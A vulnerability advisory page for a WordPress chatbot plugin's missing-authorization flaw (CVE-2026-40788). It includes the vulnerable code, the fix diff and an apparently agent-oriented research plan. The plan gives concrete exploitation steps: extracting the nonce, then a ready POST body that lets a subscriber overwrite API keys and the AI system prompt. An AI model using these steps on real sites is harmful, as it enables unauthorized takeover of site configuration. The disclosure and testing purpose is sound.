WPBot – AI ChatBot for Live Support, Lead Generation, AI Services <= 7.9.7 - Missing Authorization
Description
The WPBot – AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 7.9.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v7.9.9
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-40788 (WPBot Missing Authorization) ## 1. Vulnerability Summary The WPBot plugin (<= 7.9.7) contains a missing authorization vulnerability in its Grok AI integration. Specifically, the AJAX handler `qcld_grok_settings_option_callback` verifies a WordPress non…
Show full research plan
Vulnerability Research Plan: CVE-2026-40788 (WPBot Missing Authorization)
1. Vulnerability Summary
The WPBot plugin (<= 7.9.7) contains a missing authorization vulnerability in its Grok AI integration. Specifically, the AJAX handler qcld_grok_settings_option_callback verifies a WordPress nonce but fails to check for administrative capabilities (e.g., manage_options). This allows an authenticated attacker with at least Subscriber-level access to modify sensitive plugin settings, such as API keys and AI provider configurations.
The vulnerability is confirmed by comparing the Grok implementation in includes/integration/grok/qcld-bot-grok.php (which lacks the check) with the Gemini implementation in includes/integration/gemini/qcld-bot-gemini.php (which correctly implements current_user_can('manage_options')).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
qcld_grok_settings_option - Parameter:
nonce(required), various setting fields (e.g.,grok_api_key,grok_enabled). - Authentication: Authenticated (Subscriber+).
- Preconditions: The attacker must be able to obtain a valid nonce for the
wp_chatbotaction.
3. Code Flow
- Hook Registration: In
includes/integration/grok/qcld-bot-grok.php, the classqcld_wpgrok_addonsregisters the AJAX handler:add_action( 'wp_ajax_qcld_grok_settings_option', array( $this, 'qcld_grok_settings_option_callback' ) ); - Vulnerable Function Call: When a request is sent to
admin-ajax.php?action=qcld_grok_settings_option, theqcld_grok_settings_option_callbackfunction is executed. - Nonce Verification: The function checks the nonce:
$nonce = sanitize_text_field( $_POST['nonce'] ); if ( ! wp_verify_nonce( $nonce, 'wp_chatbot' ) ) { ... } - Missing Authorization Sink: After the nonce check, the function proceeds directly to updating options using
update_option()without callingcurrent_user_can().$grok_api_key = sanitize_text_field( $_POST['grok_api_key'] ?? '' ); update_option( 'qcld_grok_api_key', $grok_api_key ); // ... other update_option calls ...
4. Nonce Acquisition Strategy
The wp_chatbot nonce is localized in the qcld_wb_chatbot_grok_admin_scripts function within includes/integration/grok/qcld-bot-grok.php:
wp_localize_script(
'qcld-wp-chatbot-grok-admin',
'ajax_object',
array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'ajax_nonce' => wp_create_nonce( 'wp_chatbot' ),
...
)
);
This script is enqueued on specific admin pages, including wpbot_openAi.
Plan for Agent:
- Log in to WordPress as a Subscriber.
- Navigate to
/wp-admin/admin.php?page=wpbot_openAi(even if access is restricted, the enqueuing logic in the constructor may trigger the localization if the menu registration uses low capabilities). - Extract the nonce using
browser_eval:browser_eval("window.ajax_object?.ajax_nonce") - If
ajax_objectis undefined, check forqcld_gemini_admin_data.ajax_nonceas an alternative (used in Gemini/OpenRouter logic).
5. Exploitation Strategy
The goal is to modify the qcld_grok_api_key and qcld_grok_enabled options.
HTTP Request (via http_request tool):
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber session cookies]
- Body:
action=qcld_grok_settings_option&nonce=[EXTRACTED_NONCE]&grok_api_key=CVE-2026-40788-PWNED&grok_enabled=1&grok_model=grok-latest&qcld_grok_system_content=Attacker-Controlled-System-Prompt&openai_post_type[]=post
6. Test Data Setup
- Install and activate the
chatbotplugin (v7.9.7). - Create a Subscriber user.
- (Optional) Ensure Grok is not already configured so the change is obvious.
7. Expected Results
- The AJAX request should return a JSON response (likely
1or a string indicating success, based onecho json_encode( $grok_enabled );). - The WordPress database should reflect the modified options.
8. Verification Steps
After the HTTP request, verify the modification using WP-CLI:
wp option get qcld_grok_api_key
wp option get qcld_grok_enabled
wp option get qcld_grok_system_content
If the values match the payload (CVE-2026-40788-PWNED, 1, Attacker-Controlled-System-Prompt), the exploit is successful.
9. Alternative Approaches
If the Grok endpoint fails or is patched in a specific environment, investigate:
openai_settings_option_callback(Action:openai_settings_option)rag_settings_option_callback(Action:qcld_rag_settings_option)
Check if these also lackcurrent_user_can('manage_options'). The Grok integration is the most likely target due to the explicit lack of the check found in its Gemini counterpart.
Summary
The WPBot plugin's Grok AI integration fails to perform a capability check in its AJAX handler, allowing authenticated users with subscriber-level permissions to modify sensitive plugin settings. An attacker can change API keys, models, and AI system prompts, potentially redirecting AI services or disrupting bot functionality.
Vulnerable Code
/* includes/integration/grok/qcld-bot-grok.php:147 */ public function qcld_grok_settings_option_callback() { $nonce = sanitize_text_field( $_POST['nonce'] ); if ( ! wp_verify_nonce( $nonce, 'wp_chatbot' ) ) { wp_send_json( array( 'success' => false, 'msg' => esc_html__( 'Failed in Security check', 'wpchatbot' ), ) ); wp_die(); } else { $grok_api_key = sanitize_text_field( $_POST['grok_api_key'] ?? '' ); $grok_model = sanitize_text_field( $_POST['grok_model'] ?? '' ); $grok_enabled = sanitize_text_field( $_POST['grok_enabled'] ); $qcld_grok_page_suggestion_enabled = sanitize_text_field( $_POST['qcld_grok_page_suggestion_enabled'] ); $qcld_grok_append_content = sanitize_text_field( $_POST['qcld_grok_append_content'] ) ?? ''; $qcld_grok_prepend_content = sanitize_text_field( $_POST['qcld_grok_prepend_content'] ) ?? ''; $grok_rag_enabled = sanitize_text_field( $_POST['grok_rag_enabled'] ) ?? ''; $qcld_grok_system_content = sanitize_text_field( $_POST['qcld_grok_system_content'] ) ?? ''; $grok_stream_enabled = sanitize_text_field( $_POST['grok_stream_enabled'] ) ?? ''; $grok_management_api_key = sanitize_text_field( $_POST['grok_management_api_key'] ?? '' ); $grok_collection_id = sanitize_text_field( $_POST['grok_collection_id'] ?? '' ); if ( $grok_management_api_key != '' ) { update_option( 'qcld_grok_management_api_key', $grok_management_api_key ); } if ( $grok_rag_enabled != '' ) { update_option( 'qcld_grok_rag_enabled', $grok_rag_enabled ); } if ( $grok_stream_enabled != '' ) { update_option( 'qcld_grok_stream_enabled', $grok_stream_enabled ); } if ( $grok_api_key != '' ) { update_option( 'qcld_grok_api_key', $grok_api_key ); } if ( $grok_model != '' ) { update_option( 'qcld_grok_model', $grok_model ); } if ( $grok_enabled != '' ) { update_option( 'qcld_grok_enabled', $grok_enabled ); } // ... (truncated)
Security Fix
@@ -154,6 +154,9 @@ ); wp_die(); - } else { + } elseif ( ! current_user_can( 'manage_options' ) ) { + wp_send_json( array( 'success' => false, 'msg' => esc_html__( 'Unauthorized user', 'wpchatbot' ) ) ); + wp_die(); + } else { $grok_api_key = sanitize_text_field( $_POST['grok_api_key'] ?? '' );
Exploit Outline
1. Log in as an authenticated user with at least Subscriber-level privileges. 2. Locate or extract a valid WordPress nonce for the 'wp_chatbot' action, typically accessible via localized scripts on the plugin's administration dashboard pages. 3. Construct a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'qcld_grok_settings_option'. 4. Include the 'nonce' and payload parameters such as 'grok_api_key', 'grok_enabled', 'grok_model', and 'qcld_grok_system_content' to overwrite existing AI configuration. 5. The plugin will execute 'update_option' for these parameters without verifying if the requesting user has 'manage_options' capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.